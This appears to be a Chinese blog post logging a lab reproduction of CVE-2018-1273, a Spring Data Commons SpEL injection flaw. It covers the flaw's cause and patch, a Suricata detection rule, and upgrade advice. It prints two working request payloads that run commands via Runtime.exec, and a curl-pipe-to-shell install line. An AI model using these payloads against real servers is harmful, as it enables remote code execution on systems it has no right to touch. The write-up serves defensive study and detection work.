CVE-2018-1273漏洞复现日志+IDS规则编写

CVE-2018-1273(Spring Data Commons)

远程命令执行漏洞

漏洞描述:

Spring Data Commons(1.13至1.13.10之前的版本,2.0至2.0.5的版本以及较旧的不受支持的版本)包含由于特殊元素的不正确中和而导致的属性绑定器漏洞。未经身份验证的远程恶意用户(或攻击者)可以针对Spring Data REST支持的HTTP资源提供特制的请求参数,或者使用Spring Data的基于投影的请求有效负载绑定可能导致远程执行代码攻击。总结来说这是一个spel表达式注入漏洞。

影响范围

  • Spring Data Commons 1.13至1.13.10(Ingalls SR10)
  • Spring Data REST 2.6至2.6.10(Ingalls SR10)
  • Spring Data Commons 2.0至2.0.5(Kay SR5)
  • Spring Data REST 3.0至3.0.5(Kay SR5)
  • 较旧的不受支持的版本也会受到影响

漏洞级别

高危

漏洞原理:

造成漏洞的代码, 代码位于org,springframework.data.web.MapDataBinder类中:

CVE-2018-1273漏洞复现日志+IDS规则编写_第1张图片

propertyName是攻击者可以控制的变量,但是代码中将它直接用来生成Expression。在使用之前我们发现有一段代码进行propertyName的有效性校验,它用来判断实体类的propertyName属性是否可写。这个isWritableProperty函数的分析,我们发现这里存在一个逻辑问题,这个函数会造成propertyName如果是name和name[huangjacky]返回一个东西。而且通过StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。

补丁分析

CVE-2018-1273漏洞复现日志+IDS规则编写_第2张图片

补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。

SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持,

Payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=chybeta&password=chybeta&repeatedPassword=chybeta

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

 

漏洞复现日志

虚拟机换源:(更换为清华源)

https://blog.csdn.net/u012308586/article/details/102953882

Docker环境安装

https://blog.csdn.net/wang_624/article/details/100576896

安装docker:

curl -s https://get.docker.com/ | sh

安装docker-compose:

CVE-2018-1273漏洞复现日志+IDS规则编写_第3张图片

 

将当前用户加入docker用户组:

sudo gpasswd -a ${USER} docker

切为root再切换回来

启动docker服务:

docker默认镜像拉取地址为国外仓库下载速度较慢,则会报错“net/http: TLS handshake timeout",建议设置registry mirrors为国内的服务器地址:

vi /etc/docker/daemon.json

{

  "registry-mirrors": [ "https://pee6w651.mirror.aliyuncs.com"]

}

最后 重启即可

systemctl daemon-reload

systemctl restart docker

复现spring-cve-2018-1273

拉取镜像:

CVE-2018-1273漏洞复现日志+IDS规则编写_第4张图片

查看已创建的镜像:

说明创建成功。

 

镜像拉取成功后访问:http://127.0.0.1:8080/users

CVE-2018-1273漏洞复现日志+IDS规则编写_第5张图片

会看到一个用户注册界面

安装burpsuite:

官网下载地址:https://portswigger.net/burp/releases/professional-community-2020-7?requestededition=community

教程:https://zhuanlan.zhihu.com/p/115648535

安装wireshark:

sudo apt-get install wireshark

 

使用bp内置的浏览器打开访问127.0.0.1/user并抓包

CVE-2018-1273漏洞复现日志+IDS规则编写_第6张图片

改包如下:

CVE-2018-1273漏洞复现日志+IDS规则编写_第7张图片

 

 

服务端回复:

 

CVE-2018-1273漏洞复现日志+IDS规则编写_第8张图片

执行`docker-compose exec spring bash`进入容器中,可见成功创建`/tmp/success`文件,说明命令执行成功:

使用wireshark抓的包内容如下:

CVE-2018-1273漏洞复现日志+IDS规则编写_第9张图片

编写IDS规则并验证

安装suricata: https://linux.cn/article-6985-1.html

IDS规则:

alert http any any -> any any

(msg:"SpringDataCommons Remotecode execution      vulnerability Vulnerabilities-CVE-2018-1273"; flow:established,to_server;

content:"POST"; http_method;

content:"this.getClass().forName";http_client_body;

content:"java.lang.Runtime";distance:0;http_client_body;

pcre:"/getRuntime\(\)\.exec\(".*"\)/Pi";

reference:url, https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c; reference:cve,2018-1273;

classtype:remote code execution;

metadata:created_at 2020_07_21, updated_at 2020_07_21;

rev:1; 

sid:00001;)

规则验证:

运行suricata: sudo suricata -k none -r '/home/mariner/pcap/07.09-1.pcapng'  -c '/home/mariner/suricata-5.0.3/suricata.yaml' -v -v -v

CVE-2018-1273漏洞复现日志+IDS规则编写_第10张图片

CVE-2018-1273漏洞复现日志+IDS规则编写_第11张图片

有2条报警说明规则编写成功

 

处置方式

  • 2.0.x用户应升级到2.0.6
  • 1.13.x用户应升级到1.13.11
  • 较旧的版本应升级到受支持的分支

解决此问题的版本包括:-Spring Data REST 2.6.11(Ingalls SR11)-Spring Data REST 3.0.6(Kay SR6)-Spring Boot 1.5.11 -Spring Boot 2.0.1 

 

你可能感兴趣的:(安全,CVE-2018-1273,IDS,漏洞复现)